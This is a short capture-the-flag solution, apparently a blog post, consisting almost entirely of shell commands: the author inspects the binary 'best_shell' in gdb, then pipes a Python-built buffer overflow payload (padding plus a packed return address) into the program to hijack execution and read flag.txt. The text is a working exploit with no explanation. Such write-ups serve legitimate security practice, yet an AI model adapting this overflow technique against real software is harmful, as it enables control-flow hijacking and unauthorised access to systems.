$ cat best_shell.c
$ gdb ./best_shell
(gdb) disassemble setup_handlers
(gdb) x/10i 0x80489c6
$ (python -c 'import struct; payload = "A"*32 + struct.pack("<I", 0x080489d7); print "rename shell " + payload + "\n" + payload'; cat) | ./best_shell
>> >> cat flag.txt
No comments:
Post a Comment